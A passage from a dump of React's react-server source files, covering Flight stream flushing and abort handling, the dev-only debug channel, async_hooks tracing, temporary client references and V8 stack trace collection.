{\n          request.destination = null;\n          i++;\n          break;\n        }\n      }\n      errorChunks.splice(0, i);\n    } finally {\n      request.flushScheduled = false;\n      completeWriting(destination);\n    }\n    flushBuffered(destination);\n  }\n  if (request.pendingChunks === 0) {\n    if (__DEV__) {\n      const debugDestination = request.debugDestination;\n      if (request.pendingDebugChunks === 0) {\n        // Continue fully closing both streams.\n        if (debugDestination !== null) {\n          close(debugDestination);\n          request.debugDestination = null;\n        }\n      } else {\n        // We still have debug information to write.\n        if (debugDestination === null) {\n          // We'll continue writing on this stream so nothing closes.\n          return;\n        } else {\n          // We'll close the main stream but keep the debug stream open.\n          // TODO: If this destination is not currently flowing we'll not close it when it resumes flowing.\n          // We should keep a separate status for this.\n          if (request.destination !== null) {\n            request.status = CLOSED;\n            close(request.destination);\n            request.destination = null;\n          }\n          return;\n        }\n      }\n    }\n    // We're done.\n    if (enableTaint) {\n      cleanupTaintQueue(request);\n    }\n    if (request.status < ABORTING) {\n      const abortReason = new Error(\n        'This render completed successfully. All cacheSignals are now aborted to allow clean up of any unused resources.',\n      );\n      request.cacheController.abort(abortReason);\n    }\n    if (request.destination !== null) {\n      request.status = CLOSED;\n      close(request.destination);\n      request.destination = null;\n    }\n    if (__DEV__ && request.debugDestination !== null) {\n      close(request.debugDestination);\n      request.debugDestination = null;\n    }\n  }\n}\n\nexport function startWork(request: Request): void {\n  request.flushScheduled = request.destination !== null;\n  if (supportsRequestStorage) {\n    scheduleMicrotask(() => {\n      requestStorage.run(request, performWork, request);\n    });\n  } else {\n    scheduleMicrotask(() => performWork(request));\n  }\n  scheduleWork(() => {\n    if (request.status === OPENING) {\n      request.status = OPEN;\n    }\n  });\n}\n\nfunction enqueueFlush(request: Request): void {\n  if (\n    request.flushScheduled === false &&\n    // If there are pinged tasks we are going to flush anyway after work completes\n    request.pingedTasks.length === 0 &&\n    // If there is no destination there is nothing we can flush to. A flush will\n    // happen when we start flowing again\n    (request.destination !== null ||\n      (__DEV__ && request.debugDestination !== null))\n  ) {\n    request.flushScheduled = true;\n    // Unlike startWork and pingTask we intetionally use scheduleWork\n    // here even during prerenders to allow as much batching as possible\n    scheduleWork(() => {\n      request.flushScheduled = false;\n      flushCompletedChunks(request);\n    });\n  }\n}\n\nfunction callOnAllReadyIfReady(request: Request): void {\n  if (request.abortableTasks.size === 0) {\n    const onAllReady = request.onAllReady;\n    onAllReady();\n  }\n}\n\nexport function startFlowing(request: Request, destination: Destination): void {\n  if (request.status === CLOSING) {\n    request.status = CLOSED;\n    closeWithError(destination, request.fatalError);\n    return;\n  }\n  if (request.status === CLOSED) {\n    return;\n  }\n  if (request.destination !== null) {\n    // We're already flowing.\n    return;\n  }\n  request.destination = destination;\n  try {\n    flushCompletedChunks(request);\n  } catch (error) {\n    logRecoverableError(request, error, null);\n    fatalError(request, error);\n  }\n}\n\nexport function startFlowingDebug(\n  request: Request,\n  debugDestination: Destination,\n): void {\n  if (request.status === CLOSING) {\n    request.status = CLOSED;\n    closeWithError(debugDestination, request.fatalError);\n    return;\n  }\n  if (request.status === CLOSED) {\n    return;\n  }\n  if (request.debugDestination !== null) {\n    // We're already flowing.\n    return;\n  }\n  request.debugDestination = debugDestination;\n  try {\n    flushCompletedChunks(request);\n  } catch (error) {\n    logRecoverableError(request, error, null);\n    fatalError(request, error);\n  }\n}\n\nexport function stopFlowing(request: Request): void {\n  request.destination = null;\n}\n\nfunction finishHalt(request: Request, abortedTasks: Set<Task>): void {\n  try {\n    abortedTasks.forEach(task => finishHaltedTask(task, request));\n    const onAllReady = request.onAllReady;\n    onAllReady();\n    flushCompletedChunks(request);\n  } catch (error) {\n    logRecoverableError(request, error, null);\n    fatalError(request, error);\n  }\n}\n\nfunction finishAbort(\n  request: Request,\n  abortedTasks: Set<Task>,\n  errorId: number,\n): void {\n  try {\n    abortedTasks.forEach(task => finishAbortedTask(task, request, errorId));\n    const onAllReady = request.onAllReady;\n    onAllReady();\n    flushCompletedChunks(request);\n  } catch (error) {\n    logRecoverableError(request, error, null);\n    fatalError(request, error);\n  }\n}\n\nexport function abort(request: Request, reason: mixed): void {\n  // We define any status below OPEN as OPEN equivalent\n  if (request.status > OPEN) {\n    return;\n  }\n  try {\n    request.status = ABORTING;\n    if (\n      enableProfilerTimer &&\n      (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n    ) {\n      request.abortTime = performance.now();\n    }\n    request.cacheController.abort(reason);\n    const abortableTasks = request.abortableTasks;\n    if (abortableTasks.size > 0) {\n      if (request.type === PRERENDER) {\n        // When prerendering with halt semantics we simply halt the task\n        // and leave the reference unfulfilled.\n        abortableTasks.forEach(task => haltTask(task, request));\n        scheduleWork(() => finishHalt(request, abortableTasks));\n      } else {\n        const error =\n          reason === undefined\n            ? new Error(\n                'The render was aborted by the server without a reason.',\n              )\n            : typeof reason === 'object' &&\n                reason !== null &&\n                typeof reason.then === 'function'\n              ? new Error(\n                  'The render was aborted by the server with a promise.',\n                )\n              : reason;\n        const digest = logRecoverableError(request, error, null);\n        // When rendering we produce a shared error chunk and then\n        // fulfill each task with a reference to that chunk.\n        const errorId = request.nextChunkId++;\n        request.fatalError = errorId;\n        request.pendingChunks++;\n        emitErrorChunk(request, errorId, digest, error, false, null);\n        abortableTasks.forEach(task => abortTask(task, request, errorId));\n        scheduleWork(() => finishAbort(request, abortableTasks, errorId));\n      }\n    } else {\n      const onAllReady = request.onAllReady;\n      onAllReady();\n      flushCompletedChunks(request);\n    }\n  } catch (error) {\n    logRecoverableError(request, error, null);\n    fatalError(request, error);\n  }\n}\n\nfunction fromHex(str: string): number {\n  return parseInt(str, 16);\n}\n\nexport function resolveDebugMessage(request: Request, message: string): void {\n  if (!__DEV__) {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'resolveDebugMessage should never be called in production mode. This is a bug in React.',\n    );\n  }\n  const deferredDebugObjects = request.deferredDebugObjects;\n  if (deferredDebugObjects === null) {\n    throw new Error(\n      \"resolveDebugMessage/closeDebugChannel should not be called for a Request that wasn't kept alive. This is a bug in React.\",\n    );\n  }\n  if (message === '') {\n    closeDebugChannel(request);\n    return;\n  }\n  // This function lets the client ask for more data lazily through the debug channel.\n  const command = message.charCodeAt(0);\n  const ids = message.slice(2).split(',').map(fromHex);\n  switch (command) {\n    case 82 /* \"R\" */:\n      // Release IDs\n      for (let i = 0; i < ids.length; i++) {\n        const id = ids[i];\n        const retainedValue = deferredDebugObjects.retained.get(id);\n        if (retainedValue !== undefined) {\n          // We're no longer blocked on this. We won't emit it.\n          request.pendingDebugChunks--;\n          deferredDebugObjects.retained.delete(id);\n          deferredDebugObjects.existing.delete(retainedValue);\n          enqueueFlush(request);\n        }\n      }\n      break;\n    case 81 /* \"Q\" */:\n      // Query IDs\n      for (let i = 0; i < ids.length; i++) {\n        const id = ids[i];\n        const retainedValue = deferredDebugObjects.retained.get(id);\n        if (retainedValue !== undefined) {\n          // If we still have this object, and haven't emitted it before, emit it on the stream.\n          const counter = {objectLimit: 10};\n          deferredDebugObjects.retained.delete(id);\n          deferredDebugObjects.existing.delete(retainedValue);\n          emitOutlinedDebugModelChunk(request, id, counter, retainedValue);\n          enqueueFlush(request);\n        }\n      }\n      break;\n    case 80 /* \"P\" */:\n      // Query Promise IDs\n      for (let i = 0; i < ids.length; i++) {\n        const id = ids[i];\n        const retainedValue = deferredDebugObjects.retained.get(id);\n        if (retainedValue !== undefined) {\n          // If we still have this Promise, and haven't emitted it before, wait for it\n          // and then emit it on the stream.\n          const counter = {objectLimit: 10};\n          deferredDebugObjects.retained.delete(id);\n          emitRequestedDebugThenable(\n            request,\n            id,\n            counter,\n            (retainedValue: any),\n          );\n        }\n      }\n      break;\n    default:\n      throw new Error(\n        'Unknown command. The debugChannel was not wired up properly.',\n      );\n  }\n}\n\nexport function closeDebugChannel(request: Request): void {\n  if (!__DEV__) {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'closeDebugChannel should never be called in production mode. This is a bug in React.',\n    );\n  }\n  // This clears all remaining deferred objects, potentially resulting in the completion of the Request.\n  const deferredDebugObjects = request.deferredDebugObjects;\n  if (deferredDebugObjects === null) {\n    throw new Error(\n      \"resolveDebugMessage/closeDebugChannel should not be called for a Request that wasn't kept alive. This is a bug in React.\",\n    );\n  }\n  deferredDebugObjects.retained.forEach((value, id) => {\n    request.pendingDebugChunks--;\n    deferredDebugObjects.retained.delete(id);\n    deferredDebugObjects.existing.delete(value);\n  });\n  enqueueFlush(request);\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFlightServerConfig.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/* eslint-disable react-internal/prod-error-codes */\n\n// We expect that our Rollup, Jest, and Flow configurations\n// always shim this module with the corresponding host config\n// (either provided by a renderer, or a generic shim for npm).\n//\n// We should never resolve to this file, but it exists to make\n// sure that if we *do* accidentally break the configuration,\n// the failure isn't silent.\n\nthrow new Error('This module must be shimmed by a specific renderer.');\n"
  },
  {
    "path": "packages/react-server/src/ReactFlightServerConfigBundlerCustom.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\ndeclare const $$$config: any;\n\nexport opaque type ClientManifest = mixed;\nexport opaque type ClientReference<T> = mixed; // eslint-disable-line no-unused-vars\nexport opaque type ServerReference<T> = mixed; // eslint-disable-line no-unused-vars\nexport opaque type ClientReferenceMetadata: any = mixed;\nexport opaque type ServerReferenceId: any = mixed;\nexport opaque type ClientReferenceKey: any = mixed;\nexport const isClientReference = $$$config.isClientReference;\nexport const isServerReference = $$$config.isServerReference;\nexport const getClientReferenceKey = $$$config.getClientReferenceKey;\nexport const resolveClientReferenceMetadata =\n  $$$config.resolveClientReferenceMetadata;\nexport const getServerReferenceId = $$$config.getServerReferenceId;\nexport const getServerReferenceBoundArguments =\n  $$$config.getServerReferenceBoundArguments;\nexport const getServerReferenceLocation = $$$config.getServerReferenceLocation;\n"
  },
  {
    "path": "packages/react-server/src/ReactFlightServerConfigDebugNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactStackTrace} from 'shared/ReactTypes';\n\nimport type {\n  AsyncSequence,\n  IONode,\n  PromiseNode,\n  UnresolvedPromiseNode,\n  AwaitNode,\n  UnresolvedAwaitNode,\n} from './ReactFlightAsyncSequence';\n\nimport {\n  IO_NODE,\n  PROMISE_NODE,\n  UNRESOLVED_PROMISE_NODE,\n  AWAIT_NODE,\n  UNRESOLVED_AWAIT_NODE,\n} from './ReactFlightAsyncSequence';\nimport {resolveOwner} from './flight/ReactFlightCurrentOwner';\nimport {resolveRequest, isAwaitInUserspace} from './ReactFlightServer';\nimport {createHook, executionAsyncId, AsyncResource} from 'async_hooks';\nimport {enableAsyncDebugInfo} from 'shared/ReactFeatureFlags';\nimport {parseStackTracePrivate} from './ReactFlightServerConfig';\n\n// $FlowFixMe[method-unbinding]\nconst getAsyncId = AsyncResource.prototype.asyncId;\n\nconst pendingOperations: Map<number, AsyncSequence> =\n  __DEV__ && enableAsyncDebugInfo ? new Map() : (null: any);\n\n// Keep the last resolved await as a workaround for async functions missing data.\nlet lastRanAwait: null | AwaitNode = null;\n\nfunction resolvePromiseOrAwaitNode(\n  unresolvedNode: UnresolvedAwaitNode | UnresolvedPromiseNode,\n  endTime: number,\n): AwaitNode | PromiseNode {\n  const resolvedNode: AwaitNode | PromiseNode = (unresolvedNode: any);\n  resolvedNode.tag = ((unresolvedNode.tag === UNRESOLVED_PROMISE_NODE\n    ? PROMISE_NODE\n    : AWAIT_NODE): any);\n  resolvedNode.end = endTime;\n  return resolvedNode;\n}\n\nconst emptyStack: ReactStackTrace = [];\n\n// Initialize the tracing of async operations.\n// We do this globally since the async work can potentially eagerly\n// start before the first request and once requests start they can interleave.\n// In theory we could enable and disable using a ref count of active requests\n// but given that typically this is just a live server, it doesn't really matter.\nexport function initAsyncDebugInfo(): void {\n  if (__DEV__ && enableAsyncDebugInfo) {\n    createHook({\n      init(\n        asyncId: number,\n        type: string,\n        triggerAsyncId: number,\n        resource: any,\n      ): void {\n        const trigger = pendingOperations.get(triggerAsyncId);\n        let node: AsyncSequence;\n        if (type === 'PROMISE') {\n          const currentAsyncId = executionAsyncId();\n          if (currentAsyncId !== triggerAsyncId) {\n            // When you call .then() on a native Promise, or await/Promise.all() a thenable,\n            // then this intermediate Promise is created. We use this as our await point\n            if (trigger === undefined) {\n              // We don't track awaits on things that started outside our tracked scope.\n              return;\n            }\n            // If the thing we're waiting on is another Await we still track that sequence\n            // so that we can later pick the best stack trace in user space.\n            let stack = null;\n            let promiseRef: WeakRef<Promise<any>>;\n            if (\n              trigger.stack !== null &&\n              (trigger.tag === AWAIT_NODE ||\n                trigger.tag === UNRESOLVED_AWAIT_NODE)\n            ) {\n              // We already had a stack for an await. In a chain of awaits we'll only need one good stack.\n              // We mark it with an empty stack to signal to any await on this await that we have a stack.\n              stack = emptyStack;\n              if (resource._debugInfo !== undefined) {\n                // We may need to forward this debug info at the end so we need to retain this promise.\n                promiseRef = new WeakRef((resource: Promise<any>));\n              } else {\n                // Otherwise, we can just refer to the inner one since that's the one we'll log anyway.\n                promiseRef = trigger.promise;\n              }\n            } else {\n              promiseRef = new WeakRef((resource: Promise<any>));\n              const request = resolveRequest();\n              if (request === null) {\n                // We don't collect stacks for awaits that weren't in the scope of a specific render.\n              } else {\n                stack = parseStackTracePrivate(new Error(), 5);\n                if (stack !== null && !isAwaitInUserspace(request, stack)) {\n                  // If this await was not done directly in user space, then clear the stack. We won't use it\n                  // anyway. This lets future awaits on this await know that we still need to get their stacks\n                  // until we find one in user space.\n                  stack = null;\n                }\n              }\n            }\n            const current = pendingOperations.get(currentAsyncId);\n            node = ({\n              tag: UNRESOLVED_AWAIT_NODE,\n              owner: resolveOwner(),\n              stack: stack,\n              start: performance.now(),\n              end: -1.1, // set when resolved.\n              promise: promiseRef,\n              awaited: trigger, // The thing we're awaiting on. Might get overrriden when we resolve.\n              previous: current === undefined ? null : current, // The path that led us here.\n            }: UnresolvedAwaitNode);\n          } else {\n            const owner = resolveOwner();\n            node = ({\n              tag: UNRESOLVED_PROMISE_NODE,\n              owner: owner,\n              stack:\n                owner === null ? null : parseStackTracePrivate(new Error(), 5),\n              start: performance.now(),\n              end: -1.1, // Set when we resolve.\n              promise: new WeakRef((resource: Promise<any>)),\n              awaited:\n                trigger === undefined\n                  ? null // It might get overridden when we resolve.\n                  : trigger,\n              previous: null,\n            }: UnresolvedPromiseNode);\n          }\n        } else if (\n          // bound-anonymous-fn is the default name for snapshots and .bind() without a name.\n          // This isn't I/O by itself but likely just a continuation. If the bound function\n          // has a name, we might treat it as I/O but we can't tell the difference.\n          type === 'bound-anonymous-fn' ||\n          // queueMicroTask, process.nextTick and setImmediate aren't considered new I/O\n          // for our purposes but just continuation of existing I/O.\n          type === 'Microtask' ||\n          type === 'TickObject' ||\n          type === 'Immediate'\n        ) {\n          // Treat the trigger as the node to carry along the sequence.\n          // For \"bound-anonymous-fn\" this will be the callsite of the .bind() which may not\n          // be the best if the callsite of the .run() call is within I/O which should be\n          // tracked. It might be better to track the execution context of \"before()\" as the\n          // execution context for anything spawned from within the run(). Basically as if\n          // it wasn't an AsyncResource at all.\n          if (trigger === undefined) {\n            return;\n          }\n          node = trigger;\n        } else {\n          // New I/O\n          if (trigger === undefined) {\n            // We have begun a new I/O sequence.\n            const owner = resolveOwner();\n            node = ({\n              tag: IO_NODE,\n              owner: owner,\n              stack:\n                owner === null ? parseStackTracePrivate(new Error(), 3) : null,\n              start: performance.now(),\n              end: -1.1, // Only set when pinged.\n              promise: null,\n              awaited: null,\n              previous: null,\n            }: IONode);\n          } else if (\n            trigger.tag === AWAIT_NODE ||\n            trigger.tag === UNRESOLVED_AWAIT_NODE\n          ) {\n            // We have begun a new I/O sequence after the await.\n            const owner = resolveOwner();\n            node = ({\n              tag: IO_NODE,\n              owner: owner,\n              stack:\n                owner === null ? parseStackTracePrivate(new Error(), 3) : null,\n              start: performance.now(),\n              end: -1.1, // Only set when pinged.\n              promise: null,\n              awaited: null,\n              previous: trigger,\n            }: IONode);\n          } else {\n            // Otherwise, this is just a continuation of the same I/O sequence.\n            node = trigger;\n          }\n        }\n        pendingOperations.set(asyncId, node);\n      },\n      before(asyncId: number): void {\n        const node = pendingOperations.get(asyncId);\n        if (node !== undefined) {\n          switch (node.tag) {\n            case IO_NODE: {\n              lastRanAwait = null;\n              // Log the end time when we resolved the I/O.\n              const ioNode: IONode = (node: any);\n              if (ioNode.end < 0) {\n                ioNode.end = performance.now();\n              } else {\n                // This can happen more than once if it's a recurring resource like a connection.\n                // Even for single events like setTimeout, this can happen three times due to ticks\n                // and microtasks each running its own scope.\n                // To preserve each operation's separate end time, we create a clone of the IO node.\n                // Any pre-existing reference will refer to the first resolution and any new resolutions\n                // will refer to the new node.\n                const clonedNode: IONode = {\n                  tag: IO_NODE,\n                  owner: ioNode.owner,\n                  stack: ioNode.stack,\n                  start: ioNode.start,\n                  end: performance.now(),\n                  promise: ioNode.promise,\n                  awaited: ioNode.awaited,\n                  previous: ioNode.previous,\n                };\n                pendingOperations.set(asyncId, clonedNode);\n              }\n              break;\n            }\n            case UNRESOLVED_AWAIT_NODE: {\n              // If we begin before we resolve, that means that this is actually already resolved but\n              // the promiseResolve hook is called at the end of the execution. So we track the time\n              // in the before call instead.\n              // $FlowFixMe\n              lastRanAwait = resolvePromiseOrAwaitNode(node, performance.now());\n              break;\n            }\n            case AWAIT_NODE: {\n              lastRanAwait = node;\n              break;\n            }\n            case UNRESOLVED_PROMISE_NODE: {\n              // We typically don't expected Promises to have an execution scope since only the awaits\n              // have a then() callback. However, this can happen for native async functions. The last\n              // piece of code that executes the return after the last await has the execution context\n              // of the Promise.\n              const resolvedNode = resolvePromiseOrAwaitNode(\n                node,\n                performance.now(),\n              );\n              // We are missing information about what this was unblocked by but we can guess that it\n              // was whatever await we ran last since this will continue in a microtask after that.\n              // This is not perfect because there could potentially be other microtasks getting in\n              // between.\n              resolvedNode.previous = lastRanAwait;\n              lastRanAwait = null;\n              break;\n            }\n            default: {\n              lastRanAwait = null;\n            }\n          }\n        }\n      },\n\n      promiseResolve(asyncId: number): void {\n        const node = pendingOperations.get(asyncId);\n        if (node !== undefined) {\n          let resolvedNode: AwaitNode | PromiseNode;\n          switch (node.tag) {\n            case UNRESOLVED_AWAIT_NODE:\n            case UNRESOLVED_PROMISE_NODE: {\n              resolvedNode = resolvePromiseOrAwaitNode(node, performance.now());\n              break;\n            }\n            case AWAIT_NODE:\n            case PROMISE_NODE: {\n              // We already resolved this in the before hook.\n              resolvedNode = node;\n              break;\n            }\n            default:\n              // eslint-disable-next-line react-internal/prod-error-codes\n              throw new Error(\n                'A Promise should never be an IO_NODE. This is a bug in React.',\n              );\n          }\n          const currentAsyncId = executionAsyncId();\n          if (asyncId !== currentAsyncId) {\n            // If the promise was not resolved by itself, then that means that\n            // the trigger that we originally stored wasn't actually the dependency.\n            // Instead, the current execution context is what ultimately unblocked it.\n            const awaited = pendingOperations.get(currentAsyncId);\n            if (resolvedNode.tag === PROMISE_NODE) {\n              // For a Promise we just override the await. We're not interested in\n              // what created the Promise itself.\n              resolvedNode.awaited = awaited === undefined ? null : awaited;\n            } else {\n              // For an await, there's really two things awaited here. It's the trigger\n              // that .then() was called on but there seems to also be something else\n              // in the .then() callback that blocked the returned Promise from resolving\n              // immediately. We create a fork node which essentially represents an await\n              // of the Promise returned from the .then() callback. That Promise was blocked\n              // on the original awaited thing which we stored as \"previous\".\n              if (awaited !== undefined) {\n                const clonedNode: AwaitNode = {\n                  tag: AWAIT_NODE,\n                  owner: resolvedNode.owner,\n                  stack: resolvedNode.stack,\n                  start: resolvedNode.start,\n                  end: resolvedNode.end,\n                  promise: resolvedNode.promise,\n                  awaited: resolvedNode.awaited,\n                  previous: resolvedNode.previous,\n                };\n                // We started awaiting on the callback when the original .then() resolved.\n                resolvedNode.start = resolvedNode.end;\n                // It resolved now. We could use the end time of \"awaited\" maybe.\n                resolvedNode.end = performance.now();\n                resolvedNode.previous = clonedNode;\n                resolvedNode.awaited = awaited;\n              }\n            }\n          }\n        }\n      },\n\n      destroy(asyncId: number): void {\n        // If we needed the meta data from this operation we should have already\n        // extracted it or it should be part of a chain of triggers.\n        pendingOperations.delete(asyncId);\n      },\n    }).enable();\n  }\n}\n\nexport function markAsyncSequenceRootTask(): void {\n  if (__DEV__ && enableAsyncDebugInfo) {\n    // Whatever Task we're running now is spawned by React itself to perform render work.\n    // Don't track any cause beyond this task. We may still track I/O that was started outside\n    // React but just not the cause of entering the render.\n    pendingOperations.delete(executionAsyncId());\n  }\n}\n\nexport function getCurrentAsyncSequence(): null | AsyncSequence {\n  if (!__DEV__ || !enableAsyncDebugInfo) {\n    return null;\n  }\n  const currentNode = pendingOperations.get(executionAsyncId());\n  if (currentNode === undefined) {\n    // Nothing that we tracked led to the resolution of this execution context.\n    return null;\n  }\n  return currentNode;\n}\n\nexport function getAsyncSequenceFromPromise(\n  promise: any,\n): null | AsyncSequence {\n  if (!__DEV__ || !enableAsyncDebugInfo) {\n    return null;\n  }\n  // A Promise is conceptually an AsyncResource but doesn't have its own methods.\n  // We use this hack to extract the internal asyncId off the Promise.\n  let asyncId: void | number;\n  try {\n    asyncId = getAsyncId.call(promise);\n  } catch (x) {\n    // Ignore errors extracting the ID. We treat it as missing.\n    // This could happen if our hack stops working or in the case where this is\n    // a Proxy that throws such as our own ClientReference proxies.\n  }\n  if (asyncId === undefined) {\n    return null;\n  }\n  const node = pendingOperations.get(asyncId);\n  if (node === undefined) {\n    return null;\n  }\n  return node;\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFlightServerConfigDebugNoop.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {AsyncSequence} from './ReactFlightAsyncSequence';\n\n// Exported for runtimes that don't support Promise instrumentation for async debugging.\nexport function initAsyncDebugInfo(): void {}\nexport function markAsyncSequenceRootTask(): void {}\nexport function getCurrentAsyncSequence(): null | AsyncSequence {\n  return null;\n}\nexport function getAsyncSequenceFromPromise(\n  promise: any,\n): null | AsyncSequence {\n  return null;\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFlightServerTemporaryReferences.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst TEMPORARY_REFERENCE_TAG = Symbol.for('react.temporary.reference');\n\nexport opaque type TemporaryReferenceSet = WeakMap<\n  TemporaryReference<any>,\n  string,\n>;\n\n// eslint-disable-next-line no-unused-vars\nexport interface TemporaryReference<T> {}\n\nexport function createTemporaryReferenceSet(): TemporaryReferenceSet {\n  return new WeakMap();\n}\n\nexport function isOpaqueTemporaryReference(reference: Object): boolean {\n  return reference.$$typeof === TEMPORARY_REFERENCE_TAG;\n}\n\nexport function resolveTemporaryReference<T>(\n  temporaryReferences: TemporaryReferenceSet,\n  temporaryReference: TemporaryReference<T>,\n): void | string {\n  return temporaryReferences.get(temporaryReference);\n}\n\nconst proxyHandlers: Proxy$traps<mixed> = {\n  get: function (\n    target: Function,\n    name: string | symbol,\n    receiver: Proxy<Function>,\n  ) {\n    switch (name) {\n      // These names are read by the Flight runtime if you end up using the exports object.\n      case '$$typeof':\n        // These names are a little too common. We should probably have a way to\n        // have the Flight runtime extract the inner target instead.\n        return target.$$typeof;\n      case 'name':\n        return undefined;\n      case 'displayName':\n        return undefined;\n      // We need to special case this because createElement reads it if we pass this\n      // reference.\n      case 'defaultProps':\n        return undefined;\n      // React looks for debugInfo on thenables.\n      case '_debugInfo':\n        return undefined;\n      // Avoid this attempting to be serialized.\n      case 'toJSON':\n        return undefined;\n      case Symbol.toPrimitive:\n        // $FlowFixMe[prop-missing]\n        return Object.prototype[Symbol.toPrimitive];\n      case Symbol.toStringTag:\n        // $FlowFixMe[prop-missing]\n        return Object.prototype[Symbol.toStringTag];\n      case 'Provider':\n        // Context.Provider === Context in React, so return the same reference.\n        // This allows server components to render <ClientContext.Provider>\n        // which will be serialized and executed on the client.\n        return receiver;\n      case 'then':\n        // Allow returning a temporary reference from an async function\n        // Unlike regular Client References, a Promise would never have been serialized as\n        // an opaque Temporary Reference, but instead would have been serialized as a\n        // Promise on the server and so doesn't hit this path. So we can assume this wasn't\n        // a Promise on the client.\n        return undefined;\n    }\n    throw new Error(\n      // eslint-disable-next-line react-internal/safe-string-coercion\n      `Cannot access ${String(name)} on the server. ` +\n        'You cannot dot into a temporary client reference from a server component. ' +\n        'You can only pass the value through to the client.',\n    );\n  },\n  set: function () {\n    throw new Error(\n      'Cannot assign to a temporary client reference from a server module.',\n    );\n  },\n};\n\nexport function createTemporaryReference<T>(\n  temporaryReferences: TemporaryReferenceSet,\n  id: string,\n): TemporaryReference<T> {\n  const reference: TemporaryReference<any> = Object.defineProperties(\n    (function () {\n      throw new Error(\n        `Attempted to call a temporary Client Reference from the server but it is on the client. ` +\n          `It's not possible to invoke a client function from the server, it can ` +\n          `only be rendered as a Component or passed to props of a Client Component.`,\n      );\n    }: any),\n    {\n      $$typeof: {value: TEMPORARY_REFERENCE_TAG},\n    },\n  );\n  const wrapper = new Proxy(reference, proxyHandlers);\n  registerTemporaryReference(temporaryReferences, wrapper, id);\n  return wrapper;\n}\n\nexport function registerTemporaryReference(\n  temporaryReferences: TemporaryReferenceSet,\n  object: TemporaryReference<any>,\n  id: string,\n): void {\n  temporaryReferences.set(object, id);\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFlightStackConfigV8.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactStackTrace} from 'shared/ReactTypes';\n\nlet framesToSkip: number = 0;\nlet collectedStackTrace: null | ReactStackTrace = null;\n\nconst identifierRegExp = /^[a-zA-Z_$][0-9a-zA-Z_$]*$/;\n\nfunction getMethodCallName(callSite: CallSite): string {\n  const typeName = callSite.getTypeName();\n  const methodName = callSite.getMethodName();\n  const functionName = callSite.getFunctionName();\n  let result = '';\n  if (functionName) {\n    if (\n      typeName &&\n      identifierRegExp.test(functionName) &&\n      functionName !== typeName\n    ) {\n      result += typeName + '.';\n    }\n    result += functionName;\n    if (\n      methodName &&\n      functionName !== methodName &&\n      !functionName.endsWith('.' + methodName) &&\n      !functionName.endsWith(' ' + methodName)\n    ) {\n      result += ' [as ' + methodName + ']';\n    }\n  } else {\n    if (typeName) {\n      result += typeName + '.';\n    }\n    if (methodName) {\n      result += methodName;\n    } else {\n      result += '<anonymous>';\n    }\n  }\n  return result;\n}\n\nfunction collectStackTracePrivate(\n  error: Error,\n  structuredStackTrace: CallSite[],\n): string {\n  const result: ReactStackTrace = [];\n  // Collect structured stack traces from the callsites.\n  // We mirror how V8 serializes stack frames and how we later parse them.\n  for (let i = framesToSkip; i < structuredStackTrace.length; i++) {\n    const callSite = structuredStackTrace[i];\n    let name = callSite.getFunctionName() || '<anonymous>';\n    if (name.includes('react_stack_bottom_frame')) {\n      // Skip everything after the bottom frame since it'll be internals.\n      break;\n    } else if (callSite.isNative()) {\n      // $FlowFixMe[prop-missing]\n      const isAsync = callSite.isAsync();\n      result.push([name, '', 0, 0, 0, 0, isAsync]);\n    } else {\n      // We encode complex function calls as if they're part of the function\n      // name since we cannot simulate the complex ones and they look the same\n      // as function names in UIs on the client as well as stacks.\n      if (callSite.isConstructor()) {\n        name = 'new ' + name;\n      } else if (!callSite.isToplevel()) {\n        name = getMethodCallName(callSite);\n      }\n      if (name === '<anonymous>') {\n        name = '';\n      }\n      let filename = callSite.getScriptNameOrSourceURL() || '<anonymous>';\n      if (filename === '<anonymous>') {\n        filename = '';\n        if (callSite.isEval()) {\n          const origin = callSite.getEvalOrigin();\n          if (origin) {\n            filename = origin.toString() + ', <anonymous>';\n          }\n        }\n      }\n      const line = callSite.getLineNumber() || 0;\n      const col = callSite.getColumnNumber() || 0;\n      const enclosingLine: number =\n        // $FlowFixMe[prop-missing]\n        typeof callSite.getEnclosingLineNumber === 'function'\n          ? (callSite: any).getEnclosingLineNumber() || 0\n          : 0;\n      const enclosingCol: number =\n        // $FlowFixMe[prop-missing]\n        typeof callSite.getEnclosingColumnNumber === 'function'\n          ? (callSite: any).getEnclosingColumnNumber() || 0\n          : 0;\n      // $FlowFixMe[prop-missing]\n      const isAsync = callSite.isAsync();\n      result.push([\n        name,\n        filename,\n        line,\n        col,\n        enclosingLine,\n        enclosingCol,\n        isAsync,\n      ]);\n    }\n  }\n  collectedStackTrace = result;\n  return '';\n}\n\nfunction collectStackTrace(\n  error: Error,\n  structuredStackTrace: CallSite[],\n): string {\n  collectStackTracePrivate(error, structuredStackTrace);\n  // At the same time we generate a string stack trace just in case someone\n  // else reads it. Ideally, we'd call the previous prepareStackTrace to\n  // ensure it's in the expected format but it's common for that to be\n  // source mapped and since we do a lot of eager parsing of errors, it\n  // would be slow in those environments. We could maybe just rely on those\n  // environments having to disable source mapping globally to speed things up.\n  // For 